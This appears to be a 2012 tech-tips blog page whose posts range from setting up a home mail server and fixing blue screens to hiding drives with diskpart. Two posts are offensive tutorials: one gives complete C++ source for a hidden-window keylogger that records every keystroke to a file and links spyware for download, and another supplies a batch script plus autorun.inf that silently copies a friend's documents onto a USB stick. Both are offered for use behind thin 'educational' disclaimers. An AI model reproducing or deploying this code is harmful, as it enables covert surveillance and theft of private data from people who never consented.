Friday, February 24, 2012

How To Make An Email Server On Your Home Computer


Want to create your own email server for emails but, have no idea how? Here is step to step tutorial with images that explains how to make an email server on your home computer. Yes, that’s right; you can also make your own email server. So let’s start
To make an email server, you need three things:
1. Web Server
2. Email Server
3. Webmail Interface
Web Server:
To make a web server, first you need is to download “WampServer” software through site-WampServer.
After downloaded, you need is to install it in your PC as open downloaded file and then, install it according to step to step instructions as-
After installed, open wampserver and then, put it online and also start its all services as this should put your server open and running.
To check that your server running as simply type your IP address in browser and open it. If you don’t know that what is your computer IP address is as then, open “command prompt” and type in command prompt a command name “ipconfig” . Then, you will get your computer’s IP address.
Email Server:
To make an email server, you need is to download “hMailServer” software through site-hMailServer.
Then, install it in your computer as follow step to step instructions carefully and install it-
After installed, open- my computer-> c:\\WINDOWS\\system32\\drivers\\etc
In etc folder open- “host” file in notepad and then, write after some space to local host – a one word domain name and then, save and close it as- >
Then, open hMailServer as installed in your PC and connect your local host through password. That password which you give at installed time as enter password to connect.
After connect- click on add domain and then, enter your domain name as you gave above in host file and then, click on save.
After saved your domain, click on- domain name and on Accounts. In Accounts, type in address- admin (or any username), give password and also give maximum size (MB) of your email and click on save button.
Webmail Interface:
Finally, to make webmail Interface, you need to download “SquirrelMail-webmail” software through site- SquirrelMail.
After downloaded SquirrelMail zip files, extract that zip files in C partition of your computer.
Now the next step is to click on Wampserver- > Apache – Alias directories – Add an Alias.
After click, you will get a wizard of wamp as type in- “mail” and hit enter. Then, type- “c:/squirrelmail/” and again hit enter.
Later this, go to my computer- c partition – squirrelmail folder (which you extract) – config.
In config folder, changes the file named- config_default.php to config.php and open that php file in wordpad and check all details carefully in wordpad as-
$domain = ‘tinkernut.local’;
$smtpServerAddress = ‘tinkernut.local’;
$imapServerAddress = ‘tinkernut.local’;
$imap_server_type = ‘hmailserver’;
$data_dir= ‘c:/squirrelmail/data/’;
$attachment_dir= ‘c:/squirrelmail/attach/’;
Finally, now open in browser- http://localhost/mail/index.php/ and login your own email server as type username and password which you given. Visit above images as clearly representing. Now, you are able to compose mail as you created your own email server…
Read More

How to Fix Blue Screen of Death


Blue Screen of Death is a very common error that occurs in all the versions of the Windows OS, be it Win XP, or Win Vista or Windows 7. A lot of major as well as minor hardware and software related issues can lead to Blue Screen of Death (BSOD). Sometimes you can resolve the issue by simply solving it by restarting your PC. However, many times the BSOD screen won’t allow you to reach the desktop or even if you have reached the desktop, the BSOD screen can appear all of a sudden while you are doing something important on your PC.
BSODs appear when Windows encounters a serious problem and stalls the operating system. You can easily fix BSOD issues by examining all the factors that has triggered it. Here are some things you should do when you encounter a BSOD:
1. Some BSODs are so bad that you may end up installing fresh copy of Windows on your system. If you are not able to access your data after the occurrence of BSOD, you may also end up losing all your precious data. So, you need try your best to reach the desktop. You can try the ‘Last Known Good Configuration’ option or by going into the Safe Mode. You can try both of these options by pressing the F8 key before the appearance of the Windows loading screen. If you do it correctly, you will see the ‘Windows Advanced Options Menu’ screen where you will see options like Safe Mode, Safe Mode with Networking and Last Known Good Configuration.
2. When you see the BSOD, you should read the message that appears on it carefully. Usually, the error screen contains a ‘STOP ERROR’ code that consists of numbers and alphabets. The code varies depending on the problems that have caused the respective BSOD error. So, the first thing you need to do is make a note of the error code.
3. If your system is displaying the BSOD screen after recent installation of hardware or software, you can try uninstalling the hardware or software and see if that resolves the issue. After uninstalling the software that caused the problem, you can perform virus scan on your system. Repairing registry errors by making use of registry applications can help in getting rid of BSODs that are caused by software. Alternatively, you can also try the System Restore option to go back to a date when your system was working perfectly fine.
4. The next thing you need to is to find out what has caused the BSOD by researching on the internet. You can do this on your secondary PC. All you need to do is type the STOP ERROR code on Google and find out what solutions are available. A very good way to find solution for all kinds of BSOD errors is to visit the Microsoft Support website. At Microsoft Support, you will get all the possible solutions that you can try to get rid of the BSOD screen.
Read More

How To Abort The Mistaken Shutdown Operation In Windows


You’ve mistakenly pressed shutdown button on your pc or you mistakenly choose restart. In such condition, how to abort the current shutdown operation?
With a simple command it’s easy to abort the on going shutdown operation.
To abort shutdown, immediately after initiating shutdown, press Windows + R (Start>Run) and type the following command.
Shutdown –a
Note this command may not work if the shutdown operation have already closed the explorer.exe.
Further more typing opening run command and typing there may take time which may loose the chance to abort shutdown.
To not to make it happen, we’ll create an emergency abort shutdown icon. Then you’ll just have to double click on it to abort shutdown.
To create an emergency shutdown icon:
Let’s create a shortcut to shutdown –a command in desktop.
To do so, right click on the blank area of your desktop and choose New>Shortcut
In input box of “type the location of the item” copy or type the following command as shown in image below:
Give it your own shortcut name. (I named it Emergency)
Click on Finish button.

You’ll have your emergency abort shutdown icon ready. Now to easily recognize it, we’ll give it a unique icon and place it at the unique place (i.e. apart from other icons in desktop)
Right click on the Emergency icon that you just created, go to Properties and click on Change icon button at the bottom.

Then choose your unique icon and click OK.

Place it wherever you like, preferably apart from the common desktop icons(this may help you easily find the icon whenever you need it in hurry).
This will abort the shutdown.
Hope this tutorial was helpful.
Read More

How To Hide Any Drive Through Command Prompt


Have you ever thought of hiding any drive from your system so that no one can knew about it. You may have heard or even used a lot of software’s that might be able to do that, but if you are GEEK like me and want to do things by your own without using any 3rd party software than this tutorial will show you how you can do it.
Well there are 3 ways of doing it, in this tutorial we are covering command prompt way of doing it.

Here is how to do it:

Step 1. Open command Prompt, go to Start Menu > All Programs >Accessories > Command prompt
Step 2. In the Command Prompt, type Diskpart and hit enter key. If UAC (User Account Control), dialog-box prompts than click Yes.
Step 3. Then type List Volume and press enter, this will produce the list of all drives.
Step 4. Now select the drive which you want to hide, you can either do this by typing Select Volume 1 (i.e. Volume Number) or by typing Select Volume C(i.e. Drive letter)
Step 5. To hide a drive, type Remove Letter C. Here, C is the drive letter than you want to hide. You can use any drive letter you want.
Step 6. That’s it. You are done! C drive is now hidden

How to unhide hidden drive

Step 1. Follow the procedure mentioned in step 1, 2, 3 and 4.
Step 2. To show the hidden drive type Assign Letter C and hit enter, now you can view C: drive in explorer.
That’s it. This is one way of hiding and un-hiding drives from explorer, for rest two stay tuned.
Read More

How To Make A Keylogger


Wanna learn how to make your own keylogger ? Here is step by step tuorial that will help you to make a keylogger in C++ using dev-c++, it can also be done in codegear c++ builder, Visual studio and similar. 
Keylogger is simple stealth software that sits between keyboard hardware and the operating system, so that it can record every key stroke

How to install DevC++ and run .cpp file

1) Download Dev C++ from this link and install it
2)Launch Dev C++ , Click on File-> New-> Project
3)Choose empty project, type name of project for example MyKeylogger and select C++ Project
4)Right click on project name and click New File,
after this will appear field where you should type code , to execute code click on Execute->Compile & Run or press F9

How To Make A Keylogger in Dev C++

Open Keylogger.cpp and Write this in it.
#include // These we need to
using namespace std; // include to get our
#include // Keylogger working.
#include
int Save (int key_stroke, char *file);
void Stealth(); //Declare Stealth.
Make a main function .(The main function will be the first that will be executed.)
int main()
{
Stealth(); // This will call the stealth function we will write later.
char i; //Here we declare 'i' from the type 'char'
while (1) // Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute.
{ // Note this is also the part that will increase your cpu usage
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt"); // This will send the value of 'i' and "LOG.txt" to our save function we will write later. (The reason why we declared it at the start of the program is because else the main function is above the save function so he wont recognize the save function. Same as with the stealth function.)
}
}
system ("PAUSE"); // Here we say that the system have to wait before exiting.
return 0;
}
Under that we will write our keylogger so it will also recognize special keys like the ‘spacebar’ and stuff.
If you want to add some yourself here is a site where you can look up the ascii table. http://www.asciitable.com/
int Save (int key_stroke, char *file) // Here we define our save function that we declared before.
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8) // The numbers stands for the ascii value of a character
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); // This will print [BACKSPACE] when key 8 is pressed. All the code under this works the same.
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) //VK stands for virtual key wich are the keys like Up arrow, down arrow..
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
Now we going to add Stealth to it.
Under the latest code add again
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
So thats it, you wrote your first keylogger
Full Code:

#include 
using namespace std;
#include 
#include
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/* *********************************** */
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
Here’s a video instructional if you find it easier to follow the steps this way:
Part 1:
Part 2:
Part 3:
Part 4:
Part 5:
The content in this article is presented for educational purposes only.
If you do not like programming below you can download one of the best keyloggers called EuroCron Spy

DOWNLOAD 

Read More

How To Steal Files From Other Computer


In today’s article I am going to teach you something illegal but only for educational propose. This only demonstrates how you can copy files from your friend’s PC as soon as you plug in your flash drive or any removable storage media.
I am going to teach you how you can do this from batch file with the help of autorun.inf file.
Let me tell you the basic things what will happen.
When you plug in in your Pen drive, system will look up for autorun.inf (incase if autorun is not disabled for your drive from the system).
Then we’ll input some command in autorun.inf in such a way that it will load the batch file that does the magic of copying all the files from your PC. In this demonstration I am copying only the files and folders in My Documents.
Here goes the batch code:
@echo off
:CHECK
if not exist "%homedrive%\Copied_files" md "%homedrive%\Copied_files"
if exist "%systemdrive%\Documents and Settings" goto COPIER
goto ERROR
:COPIER
if not exist "%homedrive%\Copied_files\%computername%" md "%homedrive%\Copied_files\%computername%"
if not exist "%homedrive%\Copied_files\%computername%\VIDEOS" md "%homedrive%\Copied_files\%computername%\VIDEOS"
if not exist "%homedrive%\Copied_files\%computername%\PICTURES" md "%homedrive%\Copied_files\%computername%\PICTURES"
if not exist "%homedrive%\Copied_files\%computername%\MUSIC" md "%homedrive%\Copied_files\%computername%\MUSIC"
if not exist "%homedrive%\Copied_files\%computername%\DOWNLOADS" md "%homedrive%\Copied_files\%computername%\DOWNLOADS"
copy /y "%userprofile%\My Documents\*.*" "%homedrive%\Copied_files\%computername%"
copy /y "%userprofile%\My Documents\My Videos" "%homedrive%\Copied_files\%computername%\VIDEOS"
copy /y "%userprofile%\My Documents\My Music" "%homedrive%\Copied_files\%computername%\MUSIC"
copy /y "%userprofile%\My Documents\My Pictures" "%homedrive%\Copied_files\%computername%\PICTURES"
copy /y "%userprofile%\My Documents\Downloads" "%homedrive%\Copied_files\%computername%\DOWNLOADS"
MSG %username% "DONE!"
exit
:ERROR
exit
What it actually does is in first case ,CHECK it checks if your removable storage have Copied_files folder or not. If it doesn’t have then it creates one by using MD (Make Directory) command.
Again it checks if you have documents and settings folder then it will assume that you are using windows XP. Other wise it will return an error and exits.
This happens because; in Windows XP the user’s documents are usually stored in %systemroot%\Documents and Settings folder.
Now I’ve defined another two cases after the first case CHECK, that is COPIER case and ERROR case.
Case COPIER will execute when the program recognizes it is Windows XP, where the real coying work goes o.
Case ERROR will execute when the Documents and Settings doesn’t exists in your system root.
This is just a simple use of Batch programming. Copy the above code and paste it in notepad and save it as Filename.bat.
Now let’s create a file that will load it automatically.
[autorun]
Open=Filename.bat
Action=File Copier
The above code goes in autorun.inf file. Open notepad and copy it and paste it and save as autorun.inf.
Copy the two files, autorun.inf and Filename.bat in your flash drive.
Then plug in your device to your friends PC and do the evil things.
Where is the flaw?
It shows Command prompt window and process of copying (thank god your noob never think that it actually copying).
Another thing is that it determines the windows by searching the file users and Docuemnts and settings, which is not the right way to determine your system operating system.
However this is just an educational tutorial.
Hope this tutorial was helpful.
This is guest post from Suraj Kayastha at Hack Tutors and YouCanHack. blogs , where he writes about various technology.You might be interested in his webdezine blog, he has lots of interesting articles there.

Read More

Thursday, February 23, 2012

Hack the WEP key using backtrack 5 R1


Read More